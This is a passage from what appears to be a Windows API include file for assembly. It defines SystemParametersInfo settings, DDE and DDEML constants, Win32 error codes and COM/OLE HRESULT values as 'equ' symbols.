SPI_ICONVERTICALSPACING equ 24
SPI_GETICONTITLEWRAP equ 25
SPI_SETICONTITLEWRAP equ 26
SPI_GETMENUDROPALIGNMENT equ 27
SPI_SETMENUDROPALIGNMENT equ 28
SPI_SETDOUBLECLKWIDTH equ 29
SPI_SETDOUBLECLKHEIGHT equ 30
SPI_GETICONTITLELOGFONT equ 31
SPI_SETDOUBLECLICKTIME equ 32
SPI_SETMOUSEBUTTONSWAP equ 33
SPI_SETICONTITLELOGFONT equ 34
SPI_GETFASTTASKSWITCH equ 35
SPI_SETFASTTASKSWITCH equ 36
SPI_SETDRAGFULLWINDOWS equ 37
SPI_GETDRAGFULLWINDOWS equ 38
SPI_GETNONCLIENTMETRICS equ 41
SPI_SETNONCLIENTMETRICS equ 42
SPI_GETMINIMIZEDMETRICS equ 43
SPI_SETMINIMIZEDMETRICS equ 44
SPI_GETICONMETRICS equ 45
SPI_SETICONMETRICS equ 46
SPI_SETWORKAREA equ 47
SPI_GETWORKAREA equ 48
SPI_SETPENWINDOWS equ 49
SPI_GETFILTERKEYS equ 50
SPI_SETFILTERKEYS equ 51
SPI_GETTOGGLEKEYS equ 52
SPI_SETTOGGLEKEYS equ 53
SPI_GETMOUSEKEYS equ 54
SPI_SETMOUSEKEYS equ 55
SPI_GETSHOWSOUNDS equ 56
SPI_SETSHOWSOUNDS equ 57
SPI_GETSTICKYKEYS equ 58
SPI_SETSTICKYKEYS equ 59
SPI_GETACCESSTIMEOUT equ 60
SPI_SETACCESSTIMEOUT equ 61
SPI_GETSERIALKEYS equ 62
SPI_SETSERIALKEYS equ 63
SPI_GETSOUNDSENTRY equ 64
SPI_SETSOUNDSENTRY equ 65
SPI_GETHIGHCONTRAST equ 66
SPI_SETHIGHCONTRAST equ 67
SPI_GETKEYBOARDPREF equ 68
SPI_SETKEYBOARDPREF equ 69
SPI_GETSCREENREADER equ 70
SPI_SETSCREENREADER equ 71
SPI_GETANIMATION equ 72
SPI_SETANIMATION equ 73
SPI_GETFONTSMOOTHING equ 74
SPI_SETFONTSMOOTHING equ 75
SPI_SETDRAGWIDTH equ 76
SPI_SETDRAGHEIGHT equ 77
SPI_SETHANDHELD equ 78
SPI_GETLOWPOWERTIMEOUT equ 79
SPI_GETPOWEROFFTIMEOUT equ 80
SPI_SETLOWPOWERTIMEOUT equ 81
SPI_SETPOWEROFFTIMEOUT equ 82
SPI_GETLOWPOWERACTIVE equ 83
SPI_GETPOWEROFFACTIVE equ 84
SPI_SETLOWPOWERACTIVE equ 85
SPI_SETPOWEROFFACTIVE equ 86
SPI_SETCURSORS equ 87
SPI_SETICONS equ 88
SPI_GETDEFAULTINPUTLANG equ 89
SPI_SETDEFAULTINPUTLANG equ 90
SPI_SETLANGTOGGLE equ 91
SPI_GETWINDOWSEXTENSION equ 92
SPI_SETMOUSETRAILS equ 93
SPI_GETMOUSETRAILS equ 94
SPI_SCREENSAVERRUNNING equ 97
SPIF_UPDATEINIFILE equ 1h
SPIF_SENDWININICHANGE equ 2h
WM_DDE_FIRST equ 3E0h
WM_DDE_INITIATE equ WM_DDE_FIRST
WM_DDE_TERMINATE equ WM_DDE_FIRST+1
WM_DDE_ADVISE equ WM_DDE_FIRST+2
WM_DDE_UNADVISE equ WM_DDE_FIRST+3
WM_DDE_ACK equ WM_DDE_FIRST+4
WM_DDE_DATA equ WM_DDE_FIRST+5
WM_DDE_REQUEST equ WM_DDE_FIRST+6
WM_DDE_POKE equ WM_DDE_FIRST+7
WM_DDE_EXECUTE equ WM_DDE_FIRST+8
WM_DDE_LAST equ WM_DDE_FIRST+8
XST_NULL equ 0
XST_INCOMPLETE equ 1
XST_CONNECTED equ 2
XST_INIT1 equ 3
XST_INIT2 equ 4
XST_REQSENT equ 5
XST_DATARCVD equ 6
XST_POKESENT equ 7
XST_POKEACKRCVD equ 8
XST_EXECSENT equ 9
XST_EXECACKRCVD equ 10
XST_ADVSENT equ 11
XST_UNADVSENT equ 12
XST_ADVACKRCVD equ 13
XST_UNADVACKRCVD equ 14
XST_ADVDATASENT equ 15
XST_ADVDATAACKRCVD equ 16
CADV_LATEACK equ 0FFFFh
ST_CONNECTED equ 1h
ST_ADVISE equ 2h
ST_ISLOCAL equ 4h
ST_BLOCKED equ 8h
ST_CLIENT equ 10h
ST_TERMINATED equ 20h
ST_INLIST equ 40h
ST_BLOCKNEXT equ 80h
ST_ISSELF equ 100h
DDE_FACK equ 8000h
DDE_FBUSY equ 4000h
DDE_FDEFERUPD equ 4000h
DDE_FACKREQ equ 8000h
DDE_FRELEASE equ 2000h
DDE_FREQUESTED equ 1000h
DDE_FAPPSTATUS equ 0FFh
DDE_FNOTPROCESSED equ 0h
DDE_FACKRESERVED equ (-1-DDE_FACK)|DDE_FBUSY|DDE_FAPPSTATUS
DDE_FADVRESERVED equ (-1-DDE_FACKREQ)|DDE_FDEFERUPD
DDE_FDATRESERVED equ (-1-DDE_FACKREQ)|DDE_FRELEASE|DDE_FREQUESTED
DDE_FPOKRESERVED equ (-1-DDE_FRELEASE)
CP_WINANSI equ 1004
CP_WINUNICODE equ 1200
XTYPF_NOBLOCK equ 2h
XTYPF_NODATA equ 4h
XTYPF_ACKREQ equ 8h
XCLASS_MASK equ 0FC00h
XCLASS_BOOL equ 1000h
XCLASS_DATA equ 2000h
XCLASS_FLAGS equ 4000h
XCLASS_NOTIFICATION equ 8000h
XTYP_ERROR equ 0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
XTYP_ADVDATA equ 10h|XCLASS_FLAGS
XTYP_ADVREQ equ 20h|XCLASS_DATA|XTYPF_NOBLOCK
XTYP_ADVSTART equ 30h|XCLASS_BOOL
XTYP_ADVSTOP equ 40h|XCLASS_NOTIFICATION
XTYP_EXECUTE equ 50h|XCLASS_FLAGS
XTYP_CONNECT equ 60h|XCLASS_BOOL|XTYPF_NOBLOCK
XTYP_CONNECT_CONFIRM equ 70h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
XTYP_XACT_COMPLETE equ 80h|XCLASS_NOTIFICATION
XTYP_POKE equ 90h|XCLASS_FLAGS
XTYP_REGISTER equ 0A0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
XTYP_REQUEST equ 0B0h|XCLASS_DATA
XTYP_DISCONNECT equ 0C0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
XTYP_UNREGISTER equ 0D0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
XTYP_WILDCONNECT equ 0E0h|XCLASS_DATA|XTYPF_NOBLOCK
XTYP_MASK equ 0F0h
XTYP_SHIFT equ 4
TIMEOUT_ASYNC equ 0FFFFh
QID_SYNC equ 0FFFFh
CBR_BLOCK equ 0FFFFh
CBF_FAIL_SELFCONNECTIONS equ 1000h
CBF_FAIL_CONNECTIONS equ 2000h
CBF_FAIL_ADVISES equ 4000h
CBF_FAIL_EXECUTES equ 8000h
CBF_FAIL_POKES equ 10000h
CBF_FAIL_REQUESTS equ 20000h
CBF_FAIL_ALLSVRXACTIONS equ 3F000h
CBF_SKIP_CONNECT_CONFIRMS equ 40000h
CBF_SKIP_REGISTRATIONS equ 80000h
CBF_SKIP_UNREGISTRATIONS equ 100000h
CBF_SKIP_DISCONNECTS equ 200000h
CBF_SKIP_ALLNOTIFICATIONS equ 3C0000h
APPCMD_CLIENTONLY equ 10h
APPCMD_FILTERINITS equ 20h
APPCMD_MASK equ 0FF0h
APPCLASS_STANDARD equ 0h
APPCLASS_MASK equ 0Fh
EC_ENABLEALL equ 0
EC_ENABLEONE equ ST_BLOCKNEXT
EC_DISABLE equ ST_BLOCKED
EC_QUERYWAITING equ 2
DNS_REGISTER equ 1h
DNS_UNREGISTER equ 2h
DNS_FILTERON equ 4h
DNS_FILTEROFF equ 8h
HDATA_APPOWNED equ 1h
DMLERR_NO_ERROR equ 0
DMLERR_FIRST equ 4000h
DMLERR_ADVACKTIMEOUT equ 4000h
DMLERR_BUSY equ 4001h
DMLERR_DATAACKTIMEOUT equ 4002h
DMLERR_DLL_NOT_INITIALIZED equ 4003h
DMLERR_DLL_USAGE equ 4004h
DMLERR_EXECACKTIMEOUT equ 4005h
DMLERR_INVALIDPARAMETER equ 4006h
DMLERR_LOW_MEMORY equ 4007h
DMLERR_MEMORY_ERROR equ 4008h
DMLERR_NOTPROCESSED equ 4009h
DMLERR_NO_CONV_ESTABLISHED equ 400Ah
DMLERR_POKEACKTIMEOUT equ 400Bh
DMLERR_POSTMSG_FAILED equ 400Ch
DMLERR_REENTRANCY equ 400Dh
DMLERR_SERVER_DIED equ 400Eh
DMLERR_SYS_ERROR equ 400Fh
DMLERR_UNADVACKTIMEOUT equ 4010h
DMLERR_UNFOUND_QUEUE_ID equ 4011h
DMLERR_LAST equ 4011h
MH_CREATE equ 1
MH_KEEP equ 2
MH_DELETE equ 3
MH_CLEANUP equ 4
MAX_MONITORS equ 4
APPCLASS_MONITOR equ 1h
XTYP_MONITOR equ 0F0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK
MF_HSZ_INFO equ 1000000h
MF_SENDMSGS equ 2000000h
MF_POSTMSGS equ 4000000h
MF_CALLBACKS equ 8000000h
MF_ERRORS equ 10000000h
MF_LINKS equ 20000000h
MF_CONV equ 40000000h
MF_MASK equ 0FF000000h
NO_ERROR equ 0
ERROR_SUCCESS equ 0
ERROR_INVALID_FUNCTION equ 1
ERROR_FILE_NOT_FOUND equ 2
ERROR_PATH_NOT_FOUND equ 3
ERROR_TOO_MANY_OPEN_FILES equ 4
ERROR_ACCESS_DENIED equ 5
ERROR_INVALID_HANDLE equ 6
ERROR_ARENA_TRASHED equ 7
ERROR_NOT_ENOUGH_MEMORY equ 8
ERROR_INVALID_BLOCK equ 9
ERROR_BAD_ENVIRONMENT equ 10
ERROR_BAD_FORMAT equ 11
ERROR_INVALID_ACCESS equ 12
ERROR_INVALID_DATA equ 13
ERROR_OUTOFMEMORY equ 14
ERROR_INVALID_DRIVE equ 15
ERROR_CURRENT_DIRECTORY equ 16
ERROR_NOT_SAME_DEVICE equ 17
ERROR_NO_MORE_FILES equ 18
ERROR_WRITE_PROTECT equ 19
ERROR_BAD_UNIT equ 20
ERROR_NOT_READY equ 21
ERROR_BAD_COMMAND equ 22
ERROR_CRC equ 23
ERROR_BAD_LENGTH equ 24
ERROR_SEEK equ 25
ERROR_NOT_DOS_DISK equ 26
ERROR_SECTOR_NOT_FOUND equ 27
ERROR_OUT_OF_PAPER equ 28
ERROR_WRITE_FAULT equ 29
ERROR_READ_FAULT equ 30
ERROR_GEN_FAILURE equ 31
ERROR_SHARING_VIOLATION equ 32
ERROR_LOCK_VIOLATION equ 33
ERROR_WRONG_DISK equ 34
ERROR_SHARING_BUFFER_EXCEEDED equ 36
ERROR_HANDLE_EOF equ 38
ERROR_HANDLE_DISK_FULL equ 39
ERROR_NOT_SUPPORTED equ 50
ERROR_REM_NOT_LIST equ 51
ERROR_DUP_NAME equ 52
ERROR_BAD_NETPATH equ 53
ERROR_NETWORK_BUSY equ 54
ERROR_DEV_NOT_EXIST equ 55
ERROR_TOO_MANY_CMDS equ 56
ERROR_ADAP_HDW_ERR equ 57
ERROR_BAD_NET_RESP equ 58
ERROR_UNEXP_NET_ERR equ 59
ERROR_BAD_REM_ADAP equ 60
ERROR_PRINTQ_FULL equ 61
ERROR_NO_SPOOL_SPACE equ 62
ERROR_PRINT_CANCELLED equ 63
ERROR_NETNAME_DELETED equ 64
ERROR_NETWORK_ACCESS_DENIED equ 65
ERROR_BAD_DEV_TYPE equ 66
ERROR_BAD_NET_NAME equ 67
ERROR_TOO_MANY_NAMES equ 68
ERROR_TOO_MANY_SESS equ 69
ERROR_SHARING_PAUSED equ 70
ERROR_REQ_NOT_ACCEP equ 71
ERROR_REDIR_PAUSED equ 72
ERROR_FILE_EXISTS equ 80
ERROR_CANNOT_MAKE equ 82
ERROR_FAIL_I24 equ 83
ERROR_OUT_OF_STRUCTURES equ 84
ERROR_ALREADY_ASSIGNED equ 85
ERROR_INVALID_PASSWORD equ 86
ERROR_INVALID_PARAMETER equ 87
ERROR_NET_WRITE_FAULT equ 88
ERROR_NO_PROC_SLOTS equ 89
ERROR_TOO_MANY_SEMAPHORES equ 100
ERROR_EXCL_SEM_ALREADY_OWNED equ 101
ERROR_SEM_IS_SET equ 102
ERROR_TOO_MANY_SEM_REQUESTS equ 103
ERROR_INVALID_AT_INTERRUPT_TIME equ 104
ERROR_SEM_OWNER_DIED equ 105
ERROR_SEM_USER_LIMIT equ 106
ERROR_DISK_CHANGE equ 107
ERROR_DRIVE_LOCKED equ 108
ERROR_BROKEN_PIPE equ 109
ERROR_OPEN_FAILED equ 110
ERROR_BUFFER_OVERFLOW equ 111
ERROR_DISK_FULL equ 112
ERROR_NO_MORE_SEARCH_HANDLES equ 113
ERROR_INVALID_TARGET_HANDLE equ 114
ERROR_INVALID_CATEGORY equ 117
ERROR_INVALID_VERIFY_SWITCH equ 118
ERROR_BAD_DRIVER_LEVEL equ 119
ERROR_CALL_NOT_IMPLEMENTED equ 120
ERROR_SEM_TIMEOUT equ 121
ERROR_INSUFFICIENT_BUFFER equ 122
ERROR_INVALID_NAME equ 123
ERROR_INVALID_LEVEL equ 124
ERROR_NO_VOLUME_LABEL equ 125
ERROR_MOD_NOT_FOUND equ 126
ERROR_PROC_NOT_FOUND equ 127
ERROR_WAIT_NO_CHILDREN equ 128
ERROR_CHILD_NOT_COMPLETE equ 129
ERROR_DIRECT_ACCESS_HANDLE equ 130
ERROR_NEGATIVE_SEEK equ 131
ERROR_SEEK_ON_DEVICE equ 132
ERROR_IS_JOIN_TARGET equ 133
ERROR_IS_JOINED equ 134
ERROR_IS_SUBSTED equ 135
ERROR_NOT_JOINED equ 136
ERROR_NOT_SUBSTED equ 137
ERROR_JOIN_TO_JOIN equ 138
ERROR_SUBST_TO_SUBST equ 139
ERROR_JOIN_TO_SUBST equ 140
ERROR_SUBST_TO_JOIN equ 141
ERROR_BUSY_DRIVE equ 142
ERROR_SAME_DRIVE equ 143
ERROR_DIR_NOT_ROOT equ 144
ERROR_DIR_NOT_EMPTY equ 145
ERROR_IS_SUBST_PATH equ 146
ERROR_IS_JOIN_PATH equ 147
ERROR_PATH_BUSY equ 148
ERROR_IS_SUBST_TARGET equ 149
ERROR_SYSTEM_TRACE equ 150
ERROR_INVALID_EVENT_COUNT equ 151
ERROR_TOO_MANY_MUXWAITERS equ 152
ERROR_INVALID_LIST_FORMAT equ 153
ERROR_LABEL_TOO_LONG equ 154
ERROR_TOO_MANY_TCBS equ 155
ERROR_SIGNAL_REFUSED equ 156
ERROR_DISCARDED equ 157
ERROR_NOT_LOCKED equ 158
ERROR_BAD_THREADID_ADDR equ 159
ERROR_BAD_ARGUMENTS equ 160
ERROR_BAD_PATHNAME equ 161
ERROR_SIGNAL_PENDING equ 162
ERROR_MAX_THRDS_REACHED equ 164
ERROR_LOCK_FAILED equ 167
ERROR_BUSY equ 170
ERROR_CANCEL_VIOLATION equ 173
ERROR_ATOMIC_LOCKS_NOT_SUPPORTED equ 174
ERROR_INVALID_SEGMENT_NUMBER equ 180
ERROR_INVALID_ORDINAL equ 182
ERROR_ALREADY_EXISTS equ 183
ERROR_INVALID_FLAG_NUMBER equ 186
ERROR_SEM_NOT_FOUND equ 187
ERROR_INVALID_STARTING_CODESEG equ 188
ERROR_INVALID_STACKSEG equ 189
ERROR_INVALID_MODULETYPE equ 190
ERROR_INVALID_EXE_SIGNATURE equ 191
ERROR_EXE_MARKED_INVALID equ 192
ERROR_BAD_EXE_FORMAT equ 193
ERROR_ITERATED_DATA_EXCEEDS_64k equ 194
ERROR_INVALID_MINALLOCSIZE equ 195
ERROR_DYNLINK_FROM_INVALID_RING equ 196
ERROR_IOPL_NOT_ENABLED equ 197
ERROR_INVALID_SEGDPL equ 198
ERROR_AUTODATASEG_EXCEEDS_64k equ 199
ERROR_RING2SEG_MUST_BE_MOVABLE equ 200
ERROR_RELOC_CHAIN_XEEDS_SEGLIM equ 201
ERROR_INFLOOP_IN_RELOC_CHAIN equ 202
ERROR_ENVVAR_NOT_FOUND equ 203
ERROR_NO_SIGNAL_SENT equ 205
ERROR_FILENAME_EXCED_RANGE equ 206
ERROR_RING2_STACK_IN_USE equ 207
ERROR_META_EXPANSION_TOO_LONG equ 208
ERROR_INVALID_SIGNAL_NUMBER equ 209
ERROR_THREAD_1_INACTIVE equ 210
ERROR_LOCKED equ 212
ERROR_TOO_MANY_MODULES equ 214
ERROR_NESTING_NOT_ALLOWED equ 215
ERROR_BAD_PIPE equ 230
ERROR_PIPE_BUSY equ 231
ERROR_NO_DATA equ 232
ERROR_PIPE_NOT_CONNECTED equ 233
ERROR_MORE_DATA equ 234
ERROR_VC_DISCONNECTED equ 240
ERROR_INVALID_EA_NAME equ 254
ERROR_EA_LIST_INCONSISTENT equ 255
ERROR_NO_MORE_ITEMS equ 259
ERROR_CANNOT_COPY equ 266
ERROR_DIRECTORY equ 267
ERROR_EAS_DIDNT_FIT equ 275
ERROR_EA_FILE_CORRUPT equ 276
ERROR_EA_TABLE_FULL equ 277
ERROR_INVALID_EA_HANDLE equ 278
ERROR_EAS_NOT_SUPPORTED equ 282
ERROR_NOT_OWNER equ 288
ERROR_TOO_MANY_POSTS equ 298
ERROR_MR_MID_NOT_FOUND equ 317
ERROR_INVALID_ADDRESS equ 487
ERROR_ARITHMETIC_OVERFLOW equ 534
ERROR_PIPE_CONNECTED equ 535
ERROR_PIPE_LISTENING equ 536
ERROR_EA_ACCESS_DENIED equ 994
ERROR_OPERATION_ABORTED equ 995
ERROR_IO_INCOMPLETE equ 996
ERROR_IO_PENDING equ 997
ERROR_NOACCESS equ 998
ERROR_SWAPERROR equ 999
ERROR_STACK_OVERFLOW equ 1001
ERROR_INVALID_MESSAGE equ 1002
ERROR_CAN_NOT_COMPLETE equ 1003
ERROR_INVALID_FLAGS equ 1004
ERROR_UNRECOGNIZED_VOLUME equ 1005
ERROR_FILE_INVALID equ 1006
ERROR_FULLSCREEN_MODE equ 1007
ERROR_NO_TOKEN equ 1008
ERROR_BADDB equ 1009
ERROR_BADKEY equ 1010
ERROR_CANTOPEN equ 1011
ERROR_CANTREAD equ 1012
ERROR_CANTWRITE equ 1013
ERROR_REGISTRY_RECOVERED equ 1014
ERROR_REGISTRY_CORRUPT equ 1015
ERROR_REGISTRY_IO_FAILED equ 1016
ERROR_NOT_REGISTRY_FILE equ 1017
ERROR_KEY_DELETED equ 1018
ERROR_NO_LOG_SPACE equ 1019
ERROR_KEY_HAS_CHILDREN equ 1020
ERROR_CHILD_MUST_BE_VOLATILE equ 1021
ERROR_NOTIFY_ENUM_DIR equ 1022
ERROR_DEPENDENT_SERVICES_RUNNING equ 1051
ERROR_INVALID_SERVICE_CONTROL equ 1052
ERROR_SERVICE_REQUEST_TIMEOUT equ 1053
ERROR_SERVICE_NO_THREAD equ 1054
ERROR_SERVICE_DATABASE_LOCKED equ 1055
ERROR_SERVICE_ALREADY_RUNNING equ 1056
ERROR_INVALID_SERVICE_ACCOUNT equ 1057
ERROR_SERVICE_DISABLED equ 1058
ERROR_CIRCULAR_DEPENDENCY equ 1059
ERROR_SERVICE_DOES_NOT_EXIST equ 1060
ERROR_SERVICE_CANNOT_ACCEPT_CTRL equ 1061
ERROR_SERVICE_NOT_ACTIVE equ 1062
ERROR_FAILED_SERVICE_CONTROLLER_CONNECT equ 1063
ERROR_EXCEPTION_IN_SERVICE equ 1064
ERROR_DATABASE_DOES_NOT_EXIST equ 1065
ERROR_SERVICE_SPECIFIC_ERROR equ 1066
ERROR_PROCESS_ABORTED equ 1067
ERROR_SERVICE_DEPENDENCY_FAIL equ 1068
ERROR_SERVICE_LOGON_FAILED equ 1069
ERROR_SERVICE_START_HANG equ 1070
ERROR_INVALID_SERVICE_LOCK equ 1071
ERROR_SERVICE_MARKED_FOR_DELETE equ 1072
ERROR_SERVICE_EXISTS equ 1073
ERROR_ALREADY_RUNNING_LKG equ 1074
ERROR_SERVICE_DEPENDENCY_DELETED equ 1075
ERROR_BOOT_ALREADY_ACCEPTED equ 1076
ERROR_SERVICE_NEVER_STARTED equ 1077
ERROR_DUPLICATE_SERVICE_NAME equ 1078
ERROR_END_OF_MEDIA equ 1100
ERROR_FILEMARK_DETECTED equ 1101
ERROR_BEGINNING_OF_MEDIA equ 1102
ERROR_SETMARK_DETECTED equ 1103
ERROR_NO_DATA_DETECTED equ 1104
ERROR_PARTITION_FAILURE equ 1105
ERROR_INVALID_BLOCK_LENGTH equ 1106
ERROR_DEVICE_NOT_PARTITIONED equ 1107
ERROR_UNABLE_TO_LOCK_MEDIA equ 1108
ERROR_UNABLE_TO_UNLOAD_MEDIA equ 1109
ERROR_MEDIA_CHANGED equ 1110
ERROR_BUS_RESET equ 1111
ERROR_NO_MEDIA_IN_DRIVE equ 1112
ERROR_NO_UNICODE_TRANSLATION equ 1113
ERROR_DLL_INIT_FAILED equ 1114
ERROR_SHUTDOWN_IN_PROGRESS equ 1115
ERROR_NO_SHUTDOWN_IN_PROGRESS equ 1116
ERROR_IO_DEVICE equ 1117
ERROR_SERIAL_NO_DEVICE equ 1118
ERROR_IRQ_BUSY equ 1119
ERROR_MORE_WRITES equ 1120
ERROR_COUNTER_TIMEOUT equ 1121
ERROR_FLOPPY_ID_MARK_NOT_FOUND equ 1122
ERROR_FLOPPY_WRONG_CYLINDER equ 1123
ERROR_FLOPPY_UNKNOWN_ERROR equ 1124
ERROR_FLOPPY_BAD_REGISTERS equ 1125
ERROR_DISK_RECALIBRATE_FAILED equ 1126
ERROR_DISK_OPERATION_FAILED equ 1127
ERROR_DISK_RESET_FAILED equ 1128
ERROR_EOM_OVERFLOW equ 1129
ERROR_NOT_ENOUGH_SERVER_MEMORY equ 1130
ERROR_POSSIBLE_DEADLOCK equ 1131
ERROR_MAPPED_ALIGNMENT equ 1132
ERROR_INVALID_PIXEL_FORMAT equ 2000
ERROR_BAD_DRIVER equ 2001
ERROR_INVALID_WINDOW_STYLE equ 2002
ERROR_METAFILE_NOT_SUPPORTED equ 2003
ERROR_TRANSFORM_NOT_SUPPORTED equ 2004
ERROR_CLIPPING_NOT_SUPPORTED equ 2005
ERROR_UNKNOWN_PRINT_MONITOR equ 3000
ERROR_PRINTER_DRIVER_IN_USE equ 3001
ERROR_SPOOL_FILE_NOT_FOUND equ 3002
ERROR_SPL_NO_STARTDOC equ 3003
ERROR_SPL_NO_ADDJOB equ 3004
ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED equ 3005
ERROR_PRINT_MONITOR_ALREADY_INSTALLED equ 3006
ERROR_WINS_INTERNAL equ 4000
ERROR_CAN_NOT_DEL_LOCAL_WINS equ 4001
ERROR_STATIC_INIT equ 4002
ERROR_INC_BACKUP equ 4003
ERROR_FULL_BACKUP equ 4004
ERROR_REC_NON_EXISTENT equ 4005
ERROR_RPL_NOT_ALLOWED equ 4006
SEVERITY_SUCCESS equ 0
SEVERITY_ERROR equ 1
FACILITY_NT_BIT equ 10000000h
NOERROR equ 0
E_UNEXPECTED equ 8000FFFFh
E_NOTIMPL equ 80004001h
E_OUTOFMEMORY equ 8007000Eh
E_INVALIDARG equ 80070057h
E_NOINTERFACE equ 80004002h
E_POINTER equ 80004003h
E_HANDLE equ 80070006h
E_ABORT equ 80004004h
E_FAIL equ 80004005h
E_ACCESSDENIED equ 80070005h
CO_E_INIT_TLS equ 80004006h
CO_E_INIT_SHARED_ALLOCATOR equ 80004007h
CO_E_INIT_MEMORY_ALLOCATOR equ 80004008h
CO_E_INIT_CLASS_CACHE equ 80004009h
CO_E_INIT_RPC_CHANNEL equ 8000400Ah
CO_E_INIT_TLS_SET_CHANNEL_CONTROL equ 8000400Bh
CO_E_INIT_TLS_CHANNEL_CONTROL equ 8000400Ch
CO_E_INIT_UNACCEPTED_USER_ALLOCATOR equ 8000400Dh
CO_E_INIT_SCM_MUTEX_EXISTS equ 8000400Eh
CO_E_INIT_SCM_FILE_MAPPING_EXISTS equ 8000400Fh
CO_E_INIT_SCM_MAP_VIEW_OF_FILE equ 80004010h
CO_E_INIT_SCM_EXEC_FAILURE equ 80004011h
CO_E_INIT_ONLY_SINGLE_THREADED equ 80004012h
S_OK equ 0h
S_FALSE equ 1h
OLE_E_FIRST equ 80040000h
OLE_E_LAST equ 800400FFh
OLE_S_FIRST equ 40000h
OLE_S_LAST equ 400FFh
OLE_E_OLEVERB equ 80040000h
OLE_E_ADVF equ 80040001h
OLE_E_ENUM_NOMORE equ 80040002h
OLE_E_ADVISENOTSUPPORTED equ 80040003h
OLE_E_NOCONNECTION equ 80040004h
OLE_E_NOTRUNNING equ 80040005h
OLE_E_NOCACHE equ 80040006h
OLE_E_BLANK equ 80040007h
OLE_E_CLASSDIFF equ 80040008h
OLE_E_CANT_GETMONIKER equ 80040009h
OLE_E_CANT_BINDTOSOURCE equ 8004000Ah
OLE_E_STATIC equ 8004000Bh
OLE_E_PROMPTSAVECANCELLED equ 8004000Ch
OLE_E_INVALIDRECT equ 8004000Dh
OLE_E_WRONGCOMPOBJ equ 8004000Eh
OLE_E_INVALIDHWND equ 8004000Fh
OLE_E_NOT_INPLACEACTIVE equ 80040010h
OLE_E_CANTCONVERT equ 80040011h
OLE_E_NOSTORAGE equ 80040012h
DV_E_FORMATETC equ 80040064h
DV_E_DVTARGETDEVICE equ 80040065h
DV_E_STGMEDIUM equ 80040066h
DV_E_STATDATA equ 80040067h
DV_E_LINDEX equ 80040068h
DV_E_TYMED equ 80040069h
DV_E_CLIPFORMAT equ 8004006Ah
DV_E_DVASPECT equ 8004006Bh
DV_E_DVTARGETDEVICE_SIZE equ 8004006Ch
DV_E_NOIVIEWOBJECT equ 8004006Dh
DRAGDROP_E_FIRST equ 80040100h
DRAGDROP_E_LAST equ 8004010Fh
DRAGDROP_S_FIRST equ 40100h
DRAGDROP_S_LAST equ 4010Fh
DRAGDROP_E_NOTREGISTERED equ 80040100h
DRAGDROP_E_ALREADYREGISTERED equ 80040101h
DRAGDROP_E_INVALIDHWND equ 80040102h
CLASSFACTORY_E_FIRST equ 80040110h
CLASSFACTORY_E_LAST equ 8004011Fh
CLASSFACTORY_S_FIRST equ 40110h
CLASSFACTORY_S_LAST equ 4011Fh
CLASS_E_NOAGGREGATION equ 80040110h
CLASS_E_CLASSNOTAVAILABLE equ 80040111h
MARSHAL_E_FIRST equ 80040120h
MARSHAL_E_LAST equ 8004012Fh
MARSHAL_S_FIRST equ 40120h
MARSHAL_S_LAST equ 4012Fh
DATA_E_FIRST equ 80040130h
DATA_E_LAST equ 8004013Fh
DATA_S_FIRST equ 40130h
DATA_S_LAST equ 4013Fh
VIEW_E_FIRST equ 80040140h
VIEW_E_LAST equ 8004014Fh
VIEW_S_FIRST equ 40140h
VIEW_S_LAST equ 4014Fh
VIEW_E_DRAW equ 80040140h
REGDB_E_FIRST equ 80040150h
REGDB_E_LAST equ 8004015Fh
REGDB_S_FIRST equ 40150h
REGDB_S_LAST equ 4015Fh
REGDB_E_READREGDB equ 80040150h
REGDB_E_WRITEREGDB equ 80040151h
REGDB_E_KEYMISSING equ 80040152h
REGDB_E_INVALIDVALUE equ 80040153h
REGDB_E_CLASSNOTREG equ 80040154h
REGDB_E_IIDNOTREG equ 80040155h
CACHE_E_FIRST equ 80040170h
CACHE_E_LAST equ 8004017Fh
CACHE_S_FIRST equ 40170h
CACHE_S_LAST equ 4017Fh
CACHE_E_NOCACHE_UPDATED equ 80040170h
OLEOBJ_E_FIRST equ 80040180h
OLEOBJ_E_LAST equ 8004018Fh
OLEOBJ_S_FIRST equ 40180h
OLEOBJ_S_LAST equ 4018Fh
OLEOBJ_E_NOVERBS equ 80040180h
OLEOBJ_E_INVALIDVERB equ 80040181h
CLIENTSITE_E_FIRST equ 80040190h
CLIENTSITE_E_LAST equ 8004019Fh
CLIENTSITE_S_FIRST equ 40190h
CLIENTSITE_S_LAST equ 4019Fh
INPLACE_E_NOTUNDOABLE equ 800401A0h
INPLACE_E_NOTOOLSPACE equ 800401A1h
INPLACE_E_FIRST equ 800401A0h
INPLACE_E_LAST equ 800401AFh
INPLACE_S_FIRST equ 401A0h
INPLACE_S_LAST equ 401AFh
ENUM_E_FIRST equ 800401B0h
ENUM_E_LAST equ 800401BFh
ENUM_S_FIRST equ 401B0h
ENUM_S_LAST equ 401BFh
CONVERT10_E_FIRST equ 800401C0h
CONVERT10_E_LAST equ 800401CFh
CONVERT10_S_FIRST equ 401C0h
CONVERT10_S_LAST equ 401CFh
CONVERT10_E_OLESTREAM_GET equ 800401C0h
CONVERT10_E_OLESTREAM_PUT equ 800401C1h
CONVERT10_E_OLESTREAM_FMT equ 800401C2h
CONVERT10_E_OLESTREAM_BITMAP_TO_DIB equ 800401C3h
CONVERT10_E_STG_FMT equ 800401C4h
CONVERT10_E_STG_NO_STD_STREAM equ 800401C5h
CONVERT10_E_STG_DIB_TO_BITMAP equ 800401C6h
CLIPBRD_E_FIRST equ 800401D0h
CLIPBRD_E_LAST equ 800401DFh
CLIPBRD_S_FIRST equ 401D0h
CLIPBRD_S_LAST equ 401DFh
CLIPBRD_E_CANT_OPEN equ 800401D0h
CLIPBRD_E_CANT_EMPTY equ 800401D1h
CLIPBRD_E_CANT_SET equ 800401D2h
CLIPBRD_E_BAD_DATA equ 800401D3h
CLIPBRD_E_CANT_CLOSE equ 800401D4h
MK_E_FIRST equ 800401E0h
MK_E_LAST equ 800401EFh
MK_S_FIRST equ 401E0h
MK_S_LAST equ 401EFh
MK_E_CONNECTMANUALLY equ 800401E0h
MK_E_EXCEEDEDDEADLINE equ 800401E1h
MK_E_NEEDGENERIC equ 800401E2h
MK_E_UNAVAILABLE equ 800401E3h
MK_E_SYNTAX equ 800401E4h
